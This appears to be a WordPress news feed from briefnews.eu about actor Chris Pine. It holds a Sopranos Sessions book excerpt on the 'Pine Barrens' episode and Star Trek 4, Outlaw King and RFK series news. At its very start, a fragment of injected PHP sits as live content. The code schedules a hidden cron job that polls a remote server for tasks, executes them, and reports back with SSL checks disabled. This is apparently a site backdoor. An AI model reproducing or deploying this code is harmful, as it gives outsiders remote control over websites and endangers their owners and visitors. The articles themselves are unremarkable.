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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pine – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 10 Jan 2019 12:35:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Pine – Brief News https://briefnews.eu 32 32 Book Excerpt: Revisiting ‘Pine Barrens’ with ‘The Sopranos Sessions’ https://briefnews.eu/book-excerpt-revisiting-pine-barrens-with-the-sopranos-sessions/ https://briefnews.eu/book-excerpt-revisiting-pine-barrens-with-the-sopranos-sessions/#respond Thu, 10 Jan 2019 12:35:37 +0000 http://briefnews.eu/book-excerpt-revisiting-pine-barrens-with-the-sopranos-sessions/ On January 10, 1999, HBO debuted The Sopranos — and kicked off a cultural revolution. The series, created by David Chase, sprung from the one-joke concept of “gangster goes to therapy” (there was apparently something in the air; two months later, the feature film Analyze This explored the same idea) but quickly proved itself as much more. The Sopranos was a sprawling examination of familial guilt, organized crime, the American dream, and personal “growth,” anchored by a masterful leading performance by James Gandolfini, unforgettable supporting turns by (among others) Edie Falco, Lorraine Bracco, Michael Imperioli, and Nancy Marchand, the brilliant writing of Chase and his team, and evocative, cinematic direction by the likes of Tim Van Patten, Steve Buscemi, Alan Taylor, Allen Coulter, and Chase himself.

Among the first critics to champion The Sopranos were Matt Zoller Seitz and Alan Sepinwall, both then working as television critics for Tony Soprano’s hometown paper, The Star-Ledger. In honor of the show’s 20th anniversary, Seitz (now at New York/Vulture and RogerEbert.com) and Sepinwall (now at Rolling Stone) teamed up to write The Sopranos Sessions (out this week from Abrams Press), an informative, thoughtful, and handsome compendium of interviews, new critical essays, recaps, and archival writings on the series.

In this exclusive excerpt, series creator David Chase, screenwriter Terence Winter, and episode director Steve Buscemi talk about the classic season three episode “Pine Barrens” (aka, the one where Christopher and Paulie try to dump the Russian mobster and get lost in the woods).

Matt Zoller Seitz: Everybody thinks of this as one of the funniest episodes of The Sopranos. How much of that humor, those jokes, those gags were on the page, and how much of those came about when you were on location?

Steve Buscemi: They were on the page. The point I remember, reading the script and just laughing so hard, was, “He killed Czechoslovakians and he’s an interior decorator!” [Laughter] At that point, I just laughed so hard and I went, “Oh my God, I’d better not f*ck this up. This is the funniest thing.” I don’t know if anything was made up, it was all written.

Terence Winter: Despite what was on the page, when you get those guys out there doing it, you can describe Steve Schirripa walking out in a hunting costume . . . [Laughter] Dickens couldn’t describe that, it wouldn’t be as funny as when you see it! And Michael Imperioli and Tony Sirico together are one of the legendary comedy teams. You were always lucky to get a scene of them together, and then to put those two guys in that circumstance, where they’re at each other’s throats—for me, that’s the funniest situation you can put two people in, is when two people are under pressure, literally, in an enclosed space, and have them go at each other.

Matt Zoller Seitz: And I think that’s maybe one of Tony’s best moments, is this episode, because of the madness in his eyes.

Terence Winter: That was maybe the biggest negotiation we’d ever had in the middle of our lives. Tony Sirico is standing in the middle of the woods, and his character is so well put together. By design, the episode opens with him being manicured, in his pristine state, and then we were going to take him and destroy him by the end of the episode.

So when we shot the episode, we were out in the middle of the woods and the stuntman did the tumble down the bank of snow, and he had a wig but his hair was completely askew, so that was our opportunity. We got Tony Sirico in, and he never lets you touch his hair, ever. This is completely true. He does his own hair. We said, “Tony, you’ve got to mess up your hair.” He said, “I’m not touching my hair.” “But this is the reality. Look at the stuntman. His hair is sticking out!” So, he very reluctantly went like this [mimes barely touching his hair], put a couple of hairs out of place, and Steve got involved! We were like, “Tony, come on!” The one way to appeal to Tony as a performer was by saying, “It’s so funny, it’ll be so funny. We’ve never seen you like this.”

Finally, after fifteen minutes of negotiating in three feet of snow, he was like, “F*cking c*cks*ckers!” and he messed up his hair and we were like, “Go, go! Get it on film!” It was great, and he was such a great sport about it. He stayed like that for the rest of the episode.

Matt Zoller Seitz: But the whole style of humor, you’re really going in the Wayback Machine to the ’30s and ’40s. This is the Two Stooges, almost, lost in the woods.

Terence Winter: Yeah, I’d be lying if I said we didn’t reference the Three Stooges at least once a day in that writer’s room in some way or another!

. . . .

Matt Zoller Seitz:I think we need to talk about the Russian. . . . In summer of 2001, HBO did a Sopranos presentation at the Television Critics Association press tour, and everybody was asking about the Russian. What happened to the Russian? Are we going to see the Russian? Is there going to be a gang war between Tony’s gang and the Russian’s? And you [David] got increasingly . . . it was almost like a moment out of “Pine Barrens” because I could see you going, “What does it matter what happened?” You were dyspeptic. Have people ever stopped asking you about the Russian?

David Chase: No. They never have. [Laughs] What do you want to know?

Matt Zoller Seitz: Why doesn’t the Russian matter? Why is it not important to know what happened?

David Chase: I don’t know. I felt that was more in keeping with a Russian folktale or something, that the guy just disappears. Now, we didn’t do folktales every week, but it seemed appropriate for this.

Matt Zoller Seitz: Terry, do you share that interpretation about why we don’t care what happens to the Russian?

Terence Winter: I do, but I have to confess that ultimately, it’s hard for me. We all grew up watching TV and expecting closure. I think I fought for it. And even over the years, I lobbied for it, saying, “It’d be cool to finally pay it off.” I think at one point, I almost had David agreeing with me, and I made the cardinal [mistake] of saying, “People will love it!” He said, “F*ck it! We shouldn’t do it for that reason!” [Laughter]

This was absolutely the right way to go, and we never should have known what happened.

David Chase: That was the other thing—we didn’t want to do a thing where Tony fought the Russians. There just isn’t any combat between the Italian and Russian Mobs. They just don’t have any overlap.

Matt Zoller Seitz: When I wanted to do a Sopranos-related panel, my first thought was, of course, “We’ll show the finale.” And then I thought, “We can’t do that, because David will never come out for that.” You’ve explained what you were trying to do in that finale—generally, not specifically—so many times that I didn’t want to inflict that on you again.

But I kind of feel like we got to do that here tonight, in a way, because this, for me, is the first blatant example in The Sopranos of that kind of thing—the thing that most people would fixate on, the obvious, linear narrative thing like, “What happened to the Russian?” or “What happened after the cut to black?” You said, “That’s not what this is about. This is not important.” You’re not just being obstinate about it. There’s actually a reason.

David Chase: Yeah, there’s a reason. [Pause] I should’ve had the Russian walk into Holsten’s!

Terence Winter: One thing we talked about was that at some point, Christopher, way late in the game in the series, would walk into Slava’s club and the Russian guy would be there mopping the floor and they’d just meet eyes, and then the camera would come around to the back of the Russian’s head and you just see that a big chunk of his head is missing and he can’t communicate. They’re like, “Yeah, kids found him, they sent him to Russia and nursed him back to health, but he can’t really talk.” All through the meeting, he’s just kind of looking at Christopher, and you feel like he knows but he can’t communicate it. That was it.

My proposed ending for The Sopranos was that a very elderly Nucky Thompson walks in and kills Tony Soprano! [Laughs] That was how we were going to end Boardwalk Empire, but it didn’t work.

David Chase: I’ll tell you what Matt Weiner said: he wanted to end Mad Men with Don Draper at age ninety-two, he’s watching the end of The Sopranos, and he takes his beer bottle and throws it at the TV!

Adapted excerpt from the new book “The Sopranos Sessions” by Matt Zoller Seitz and Alan Sepinwall, published by Abrams Press. © 2019 Matt Zoller Seitz and Alan Sepinwall.

                                    

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It was claimed last month that the star, along with Chris Hemsworth, had departed the franchise amidst a disagreement over pay.

Pine was due to reprise the role of Captain Kirk, while Hemsworth would have played his father in a time-travelling twist, having first played the part in 2009.

The stars were said to have had pre-existing deals in place that the studios were backtracking on, according to The Hollywood Reporter – after the previous movies in the franchise failed to pull in the kind of money to put it in the same ballpark as Marvel and Star Wars.

Now, though, Pine has re-iterated that he hasn’t completely walked away.

Asked about the situation, he told Variety: “I don’t know, I’d love to be involved.

“We’ll see what happens. I’ll await the phone call, and until then… I look forward to it.”

Aside from Pine and Hemsworth, stars such as Zoe Saldana, Zachary Quinto, Karl Urban, Simon Pegg and John Cho were all expected to finalise their deals as expected.

Should the men not return, it remains to be seen if they would be written out, their parts recast, or if the whole project would be completely derailed.

Pegg had previously said that the project was “in prep”.

“As far as I know, we are pushing ahead,” he told HeyUGuys.

“We are in prep, I think, for it, but then there’s so much to do before we start shooting, like making sure everybody is available.”

SJ Clarkson has been hired to direct, becoming the first female director in Star Trek history.

“I met the new director, SJ Clarkson, who is the first female director of a Star Trek film, which is exciting, and she is just brimming with ideas and enthusiasm,” Pegg told Larry King. “I can’t wait to work with her.

“As far I know, we’re sort of in soft prep at the moment. I would imagine [filming] next year at some point.

“Hopefully early next year.”

Star Trek 4 does not currently have a release date.

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Captain…we have a problem.

Chris Pine and Chris Hemsworth have both walked away from Star Trek 4 following failed salary negotiations. Pine was going to reprise his role as Captain James T. Kirk for the fourth time. Hemsworth was going to return via time travel as Kirk’s father, who was introduced in the 2009 reboot’s memorable prologue. What happens next, especially since the rest of the cast is still on board, remains uncertain.

The Hollywood Reporter has the story, and it offers up a dark side to a franchise built upon hope and optimism. After all, money doesn’t exist in the utopian world created by Gene Roddenberry over 50 years ago…but it sure as hell exists right here and now, and Pine and Hemsworth felt they weren’t getting enough of it to step aboard the bridge again. Or rather, they felt Paramount was not honoring an existing deal.

According to THR, the actors and their reps “insist they have deals in place and that the studios are reneging on them, forcing them to take pay cuts as they try to budget a movie that is following a mediocre performer.” That mediocre performer is Star Trek Beyond, a very good movie that massively underperformed when it opened in 2016. That film grossed $ 343 million worldwide, but it cost $ 190 million. That’s not a great ratio when other franchise films regularly cross the $ 1 billion mark these days.

Still, it’s hard to blame Pine and Hemsworth for sticking to their guns and walking away if they’re not getting paid what they believe they should be paid. If you want to point fingers at someone, point them at Paramount.

So what does this mean for Star Trek 4? Well, Zoe Saldana, Zachary Quinto, Karl Urban, Simon Pegg and John Cho are all expected to close their deals and return as Uhura, Spock, Dr. McCoy, Scotty, and Sulu, respectively. It’s possible that Kirk and his father could be recast. It’s also possible that Pine and Hemsworth return to the negotiating table and everything gets worked out. It’s also possible that they split the difference – cough up the cash for Pine since he’s the face of the rebooted franchise and recast his dearly departed dad with someone less expensive.

In any case, I’ll just come right out and say it: this flat-out sucks. I’ve been critical of the new Trek movies, but two of them have been winners, overcoming their flaws to reflect what makes this series so damn special. Pine did the impossible – he proved that someone else was capable of filling William Shatner’s boots. And Hemsworth’s entire career was built on his powerful scenes as George Kirk and seeing him return would have been a thrill. Then there’s the rest of the crew, played to perfection by a perfectly cast ensemble who give new life to beloved characters. I’d watch a Star Trek 4 starring everyone but Kirk, but would Paramount even consider making that?

It’s especially a bummer since Star Trek 4 was going to mark the first time a female director was going to steer a Trek movie. What does this mean for S.J. Clarkson? Will she stick around if things have to get retooled?

Anyway, it’s not like this spells the end of Star Trek. The recent series Star Trek: Discovery is returning for its second season next year and there’s a new TV show starring Patrick Stewart, reprising his role as Captain Picard, in the pipeline. And Pine has the Wonder Woman movies and Hemsworth has Thor and the rest of the cast are in high-demand. In the end, nothing and no one is irreparably damaged.

But still, it was a thrill to see Trek back on the big screen ever couple of years. I’ll cross my fingers and hope they can work this one out.

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]]> https://briefnews.eu/future-of-star-trek-4-in-doubt-as-chris-pine-and-chris-hemsworth-depart-over-salary-negotiations/feed/ 0 ‘Outlaw King’ First Look: Chris Pine Reunites With ‘Hell Or High Water’ Director in the 14th Century https://briefnews.eu/outlaw-king-first-look-chris-pine-reunites-with-hell-or-high-water-director-in-the-14th-century/ https://briefnews.eu/outlaw-king-first-look-chris-pine-reunites-with-hell-or-high-water-director-in-the-14th-century/#respond Sat, 09 Sep 2017 04:18:54 +0000 http://briefnews.eu/outlaw-king-first-look-chris-pine-reunites-with-hell-or-high-water-director-in-the-14th-century/ Hell or High Water Trailer

Chris Pine is keeping the wiry beard that he grew for A Wrinkle in Time, and taking it back to the 14th century for a reunion with his Hell Or High Water director David Mackenzie.

Starring as legendary Scottish outlaw and leader Robert the Bruce — who was memorably last portrayed on the big screen by Mel Gibson in the Oscar-winning Braveheart — in Outlaw King, a Netflix film following the Wars of Scottish Independence in the 14th century. Though there’s little resemblance to the sun-bleached neo-Western that was Hell Or High Water, Mackenzie is in his element as a proudly Scottish director, and will surely elicit another great performance from Pine.

Rocking something akin to a mullet-meets-bowl-cut with mutton chops and a beard, Pine looks in his element in the first image from Outlaw King released by Netflix, below:

outlaw king first look

Pine is joined by a star-studded cast including Aaron Taylor-Johnson, Florence Pugh, Tony Curran, Stephen Dillane, and Billy Howle for the Scottish epic. It will follow the year in which Robert the Bruce fights to regain his country and gets crowned King of the Scots, only to be defeated in a surprise attack by the English forces and made an outlaw by the English king.

Mackenzie said in an official statement accompanying the first image from Outlaw King:

“I am so happy to have the opportunity to dig deep into the story of Robert the Bruce and to discover some of the truths that often get obscured by legend. This is my sixth feature film shot in Scotland and autumn is my favourite time of year to shoot so I am excited to bring this film to light in the beautiful Scottish elements – come rain, shine, storm or snow.”

Mackenzie is a Scottish director, and likely very pleased to get back in touch with his Scottish roots after breaking into the U.S. market with the acclaimed Hell Or High Water in 2016. I’ll admit I wasn’t aware that Mackenzie wasn’t American, considering how well Hell Or High Water was a neo-Western that captured a distinctly Americana perspective on economic anxiety and desperation. It’s promising to see him reunite with his Hell Or High Water star Chris Pine, who turned in one of the greatest and most nuanced performances of his career in the Oscar-nominated film.

Mackenzie expressed excitement at reunited with Pine too, continuing in his statement (via Collider):

“I am also delighted that Chris Pine, with whom I had a great time on our last film, has joined our Scottish and international cast and crew including the excellent Aaron Taylor-Johnson and the exciting emerging talent of Florence Pugh and Billy Howle. I know Chris will bring intensity and flair to Robert the Bruce and his struggle to take back his country, being crowned King of Scots, then suffering a disastrous defeat and left on the run with just a handful of supporters only to claw his way, with bravery and cunning, back to victory.  This was an early form of guerilla warfare against the might of a vastly bigger better resourced enemy and is one of the great comeback stories of history.”

Outlaw King is currently in production and slated for a 2018 release on Netflix.

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]]> https://briefnews.eu/outlaw-king-first-look-chris-pine-reunites-with-hell-or-high-water-director-in-the-14th-century/feed/ 0 Chris Pine to Play Robert F. Kennedy in Hulu Series From Good Wife EP https://briefnews.eu/chris-pine-to-play-robert-f-kennedy-in-hulu-series-from-good-wife-ep/ https://briefnews.eu/chris-pine-to-play-robert-f-kennedy-in-hulu-series-from-good-wife-ep/#respond Tue, 05 Sep 2017 19:36:19 +0000 http://briefnews.eu/chris-pine-to-play-robert-f-kennedy-in-hulu-series-from-good-wife-ep/

Chris Pine is going from James T. Kirk to Robert F. Kennedy: The Star Trek actor will star in a limited series based on the assassinated senator’s life, our sister site Deadline reports.